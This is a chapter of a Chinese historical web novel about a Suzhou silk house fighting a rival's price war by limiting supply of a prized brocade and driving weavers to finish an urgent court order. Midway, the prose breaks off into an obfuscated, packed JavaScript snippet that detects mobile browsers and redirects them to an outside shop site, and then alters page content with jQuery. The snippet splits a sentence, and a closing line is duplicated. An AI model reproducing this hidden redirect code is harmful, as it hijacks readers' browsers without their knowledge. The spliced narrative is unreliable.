正月初十,苏州府绸缎市开市。
往年此时,阊门外十里长街应是锦幡招展,客商云集,各色绸缎在晨光中流光溢彩,讨价还价声、算盘珠响、伙计吆喝,喧嚣得能掀翻屋顶。可今年,街市冷清得诡异。
半数铺面尚未卸下门板,开张的几家也门可罗雀。偶尔有顾客驻足,问问价,摇摇头,转身便走——那摇头不是嫌贵,是嫌……太便宜。
“谢家新出的‘冰纹缎’,六五折!”
长街东首,谢家绸缎庄的伙计站在高凳上,扯着嗓子吆喝,手里举着一匹月白底冰蓝纹的锦缎,在晨光下泛着泠泠冷光。那缎子织工极细,冰裂纹样栩栩如生,虽不及真正的“冰纹贡缎”,却也足以以假乱真。
价格牌红得刺眼:原价三十两一匹,现价十九两五钱。
不到二十两。
而苏家铺子里,最寻常的天青云锦也要二十二两,秘色锦更是开价五十两。
街西头的苏家铺子,掌柜赵老六扒在门缝后,看着对面谢家铺子门口渐渐聚起的人潮,脸色灰败如土。
“掌……掌案来了吗?”他回头,声音发颤地问伙计。
伙计摇头:“还没……”
话音未落,门板被叩响。
三声,不急不缓。
赵老六急忙开门,门外站着苏晚音。她一身素青棉袍,外罩鸦青斗篷,兜帽压得很低,只露出小半张苍白的脸。身后跟着小蝉,手里捧着一只长条锦盒。
“掌案!”赵老六如见救星,几乎要跪下去。
苏晚音摆手,径自走到铺子后堂。待赵老六跟进来,她才开口:“退了多少?”
赵老六从怀里掏出一本账册,手抖得几乎拿不稳:“从初八到今早,私单退了……七成。都是前两个月订了年礼的熟客,说谢家缎子便宜,纹样又新,实在……实在对不住。”
苏晚音接过账册,一页页翻看。
退单的理由五花八门,可归根结底只有两个字:价高。
谢家这一招狠辣——趁年关刚过、各家银钱吃紧时,突然降价倾销。六五折,几乎是贴着成本在卖。这不止是要抢苏家的客,更是要彻底打垮苏家在高端锦缎市场的口碑。
“存货还有多少?”她问。
“库房里……云锦四十匹,秘色锦八匹,冰纹样锦十二匹。”赵老六声音越来越低,“按现在的退单速度,撑不过正月。”
苏晚音合上册子。
窗外,谢家铺子的吆喝声随风飘来,清晰得刺耳。
“掌案,咱们……要不要也降?”赵老六试探着问,“哪怕降到七折,先把客人留住……”
“不降。”苏晚音打断他,声音平静,“不但不降,从今日起,秘色锦限量——每月只出二十匹,价翻五成。”
赵老六和小蝉同时倒抽一口凉气。
“掌案!这、这不成啊!”赵老六急得汗都出来了,“本来就没几个人买,再涨价,岂不是……”
“正因没人买,才要涨价。”苏晚音走到窗边,看着对面熙攘的人群,“谢家想用低价挤垮我们,我们就反其道而行——把秘色锦捧成‘有钱也未必买得到’的稀罕物。”
她转身,目光清冷:
“赵掌柜,你今日便放出消息:苏家秘色锦,因染法繁复、丝料珍稀,每月仅出二十匹。欲购者,需提前三日预订,且每人限购一匹。价格……七十五两。”
七十五两。
是谢家冰纹缎的将近四倍。
赵老六张了张嘴,却说不出话。
小蝉却眼睛一亮:“姑娘是说……物以稀为贵?”
“不止。”苏晚音走到案前,打开小蝉捧着的锦盒,里面是昨夜刚织成的第三匹秘色锦。她伸手轻抚锦面,天青底色在晨光下流转出青紫光晕,美得惊心动魄。
“谢家的冰纹缎,终究是仿品。纹样再像,染不出秘色的‘气’,织不出藏金的‘魂’。”她抬眼,看向赵老六,“真正识货的人,不会为了省几十两银子,放弃一件传世之物。”
她顿了顿,补了一句:
“况且,谢家敢六五折倾销,必是囤了海量存货。可冰蚕丝珍贵,他真能无限供应?撑得过三月,撑得过半年?”
赵老六恍然:“掌案是说……拖?”
“拖到他库存见底,拖到他不得不涨价。”苏晚音唇角微扬,笑意冷冽,“到那时,市面高端锦缎断货,咱们这二十匹秘色锦,便是奇货可居。”
消息放出去,不出半日,便传遍了苏州织造圈。
起初是嗤笑。
“苏家这是疯了?七十五两一匹锦,真当自己是贡品了?”
“谢家缎子又好看又便宜,傻子才去买苏家的。”
“等着吧,不出十天,苏家铺子就得关门。”
可渐渐的,嗤笑声淡了。
因为那二十匹秘色锦的预订单,竟然……满了。
不是十天,是三天。
正月十三,苏家铺子挂出“秘色锦本月售罄”的牌子时,对面谢家铺子的伙计,吆喝声都顿了一顿。
预订的二十人里,有六位是江南有名的收藏家,四位是金陵、杭州的豪商太太,三位是应天府官员的家眷,还有七位……身份成谜,只留了定金和化名。
但赵老六认得其中一人的笔迹——那是应天织造局齐衡的字。
齐衡订了一匹。
以私人名义,七十五两银子,眼睛都没眨。
这消息比任何吆喝都管用。
正月十五,上元节。
苏家铺子破天荒地没开门,只在门板上贴了张素笺,上书:
“秘色已罄,下月请早。”
八个字,墨迹淋漓,傲气尽显。
而谢家铺子门前,人潮依旧汹涌,可伙计的脸色却有些勉强了——连续七日六五折倾销,库存已去大半。掌柜的催了三次补货,松江那边却回话说“冰蚕丝供应不及,新缎需等半月”。
半月。
足够流言发酵。
正月十六,苏府正院。
李氏坐在暖阁里,手里捏着一张单子,指尖微微发颤。那是盛明玉早晨派人送来的——列了谢家铺子这七日倾销的各类锦缎数目,粗粗一算,少说卖出了三百匹。
三百匹,哪怕每匹只赚五两,也是一千五百两银子。
而苏家呢?
二十匹秘色锦,就算全卖出,也才一千五百两。可成本呢?秘色染法繁复,丝料珍稀,一匹的成本就要四十两。二十匹,净利不过七百两。
更别提其他普通锦缎,几乎无人问津。
“叫她来。”李氏将单子摔在榻几上,声音冷硬。
翠珠应声去了,不多时,苏晚音踏进暖阁。
她今日穿了件半旧的靛蓝棉袍,袖口微有磨损,发间只簪一支素银簪子,与暖阁里的金玉锦绣格格不入。
“母亲。”她福了一礼。
李氏盯着她,良久,才开口:
“听说你卖的锦,七十五两一匹?”
“是。”
“卖了多少?”
“二十匹。”
“二十匹……”李氏重复着这个数字,忽然笑了,笑声里满是讥讽,“苏家铺子开张三十年,从未有过‘限量’之说。你倒好,不但限量,还涨价——是嫌苏家倒得不够快吗?”
苏晚音垂眼:“秘色锦织造不易,物以稀为贵。若滥市,反而损了价值。”
“价值?”李氏冷笑,“值多少钱,不是你说了算,是市说了算!现在满苏州都在买谢家的缎子,谁还记得苏家的秘色?”
她站起身,走到苏晚音面前,声音压低,却字字如刀:
“我知道你心高,不服输。可生意不是赌气!谢家敢六五折卖,必是算准了能撑住。你呢?你库里的丝还能织多少?银子还能烧多久?”
苏晚音抬眼,迎上李氏的目光:
“母亲以为,谢家真能无限供应?”
李氏一滞。
“冰蚕丝珍贵,松江今年天寒,蚕桑减产三成。谢家就算囤了货,也撑不过三个月。”苏晚音声音平静,“而咱们的蜀丝,走海路,最迟二月底必到。到那时,谢家库存见底,咱们新丝入库——孰优孰劣,还未可知。”
李氏盯着她,眼中神色变幻。
良久,她忽然问:
“蜀丝……真有把握?”
苏晚音心头一凛。
李氏这话问得突兀——蜀路之事,她从未在正院提过,钱老的行踪更是隐秘。李氏如何得知?
除非……盛明玉。
盛明玉与顾廷琛有勾连,顾廷琛知道蜀路计划,盛明玉自然也知道。而她将消息透给李氏,是想借李氏之手,逼她自乱阵脚。
“把握不敢说,但路已铺好。”苏晚音答得谨慎,“成与不成,二月便见分晓。”
李氏沉默片刻,挥了挥手:
“下去吧。”
苏晚音福礼告退。
走出暖阁时,她听见李氏对翠珠低声吩咐:
“去库房支二百两银子,以我的名义,订一匹谢家的冰纹缎——要最好的那匹。”
脚步未停,唇角却浮起一丝冷笑。
订谢家的缎子。
这是做给谁看?
正月十八,松江来信。
信是陈九亲笔,走的海路加急,信纸边缘还沾着海风的咸涩。
“船已出海,借南洋商队‘顺风号’同行,计大小船只七艘,载‘香料’六百箱。吾船混迹其中,挂暹罗旗,人皆作南洋客商打扮。预计二月十五抵夔州,换小船入川。另:顾氏近日在松江码头增派人手,似有所察,然海路茫茫,其力难及。唯陆路关卡或严,届时需打点。”
信末附了一张单子,列了沿途需打点的关卡、官吏名姓,以及预估的银两数目。
粗粗一算,竟要五百两。
苏晚音将信烧掉,提笔回信,只写了一句:
“银已备妥,按计行事。海上凶险,务必保重。”
写完,她唤来小蝉:
“去请钱老。”
钱老来时,脸色凝重。
“姑娘,应天急单……怕是拖不住了。”他递上一封公文,是应天织造局盖印的催单,措辞已见严厉,“齐少办暗中递话,说局里几位老大人对咱们一再拖延已有微词,若月底前再不交货,恐生变故。”
月底。
今日是正月十八,离月底只剩十二天。
而秘色锦,还差两匹才够齐衡要的三匹之数。
“染坊那边如何?”苏晚音问。
“孙把头带着匠人们日夜赶工,可……人手实在不够。”钱老叹气,“有两个累倒了,剩下的也快撑不住了。姑娘,不是匠人们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032913|194563||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不肯出力,是这秘色织法太耗心神,一匹锦织下来,眼都快瞎了。”
苏晚音沉默。
窗外暮色渐沉,染坊的方向隐隐传来织机声,单调而疲惫。
良久,她开口:
“加钱。累倒的两个,每人补五十两。还在织的,每人再加二十两。告诉他们,这难关过了,我许他们子孙三代进染坊,工钱翻倍。”
钱老眼眶微红:“姑娘,这代价太大了……”
“代价再大,也比苏家倒了强。”苏晚音声音很轻,却斩钉截铁,“钱老,你亲自去染坊,把我的话原原本本告诉他们。再带两坛好酒,十只烧鸡,今夜……我陪他们一起熬。”
钱老重重点头,转身离去。
小蝉小声问:“姑娘真要亲自去染坊?这要是让正院知道……”
“知道又如何?”苏晚音起身,从衣架上取下那件半旧的靛蓝工服,“如今苏家的命脉在染坊,不在正院。”
染坊里,热气蒸腾。
八架织机全开,梭声如雨。匠人们眼眶深陷,手上动作却稳如磐石。孙把头站在中央,不时指点,声音已沙哑得几乎发不出声。
苏晚音推门进来时,所有人都愣了一下。
她没穿掌案的衣裳,只一身靛蓝工服,袖口挽起,发间没有任何饰物。手里提着一只食盒,身后小蝉和两个婆子抬着两坛酒、一大桶热汤。
“今夜,我陪诸位。”她声音不大,却清晰传进每个人耳中。
无人说话。
只有织机声,咔哒,咔哒。
苏晚音走到最近的一架织机旁,俯身看锦面。天青底色上,青紫流光已隐约可见,再有一夜,必能成匹。
她直起身,从食盒里取出一只碗,舀了热汤,递给机前的年轻匠人:
“喝口汤,暖暖。”
那匠人愣愣接过,手有些抖。
苏晚音又走到下一架织机,下一架……
八碗汤递完,她走到染坊中央,拿起一把梭子。
不是乌木梭,是寻常的竹梭。
她坐上孙把头让出的机位,双脚轻踏,双手引纬。
动作不算娴熟,却稳。
梭声融入织机声中,渐渐和谐。
匠人们看着她的背影,看着那双本该执笔翻账的手,此刻握着粗粝的竹梭,一纬一纬,织着苏家的生路。
不知谁先红了眼眶。
然后,织机声更密了。
像一场无声的誓师。
正月二十五,深夜。
第三匹秘色锦终于织成最后一纬。
孙把头颤抖着手剪断丝线时,整个人晃了晃,几乎站不稳。苏晚音扶住他,才发现这位老匠的手,十指指腹全磨破了,血渍混着丝絮,凝成暗红的痂。
“成了……”孙把头声音嘶哑,眼中却亮得惊人,“姑娘,成了!”
苏晚音看着那匹锦。
天青为底,青紫流光在烛火下缓缓流转,像深夜天际的极光,神秘而瑰丽。
真正的秘色。
她伸手轻抚锦面,指尖传来温润的触感,还有一丝……灼烫。
那是匠人们熬尽心血织就的温度。
“装匣,明日一早送应天。”她吩咐小蝉,转身看向满屋疲惫不堪的匠人,“所有人,歇息三日。工钱照发,另每人赏银三十两。累倒的,再加二十两药费。”
无人欢呼。
只有沉重的呼吸声,和几声压抑的咳嗽。
苏晚音走出染坊时,天边已泛鱼肚白。
寒风刺骨。她却没有停下脚步。
身后,小蝉小声问:“姑娘,齐少办要的三匹齐了,可咱们自己……一匹也没留。”
“不必留。”苏晚音望着渐亮的天际,“等蜀丝到库那天,再算账。”
她顿了顿,补了一句:
“况且,齐衡既收了这三匹锦,便欠了苏家一个人情。”她没有把话说完。
正月二十八,应天织造局的回执到了。
“锦已收讫,甚佳。急单可延至三月初五。”
同时送来的,还有一封齐衡的私信,只有一行字:
“谢家库存将尽,三月必涨。顾氏与王公公近日往来更密,慎之。”
苏晚音烧了信。
窗外,谢家铺子的吆喝声依旧,可细心人已听出,那声音里透着一丝不易察觉的焦急。
冰纹缎的供应,明显慢了。
有熟客去问,伙计支支吾吾,只说“新缎在路上”。
而苏家铺子门口,不知何时贴出了一张新告示:
“蜀锦新样,三月上市。天青为底,金线为纹,限量三十匹,欲购从速。”
没有价格,没有图样。
可“蜀锦”二字,已足够引人遐想。
告示贴出当日,便有七人预订。
其中一人,姓谢。
不是谢无咎,也不是顾廷琛。
是谢家旁支的一位老夫人,派管家来的,留下五十两定金,只说了一句:
“老夫人说,苏家的锦,值得等。”
赵老六送走管家,回头看着那五十两银子,久久无言。
赵老六盯着那五十两银子,看了很久。
银锭在案上,沉甸甸的。
而真正的厮杀,还在后头。
(第五章·完)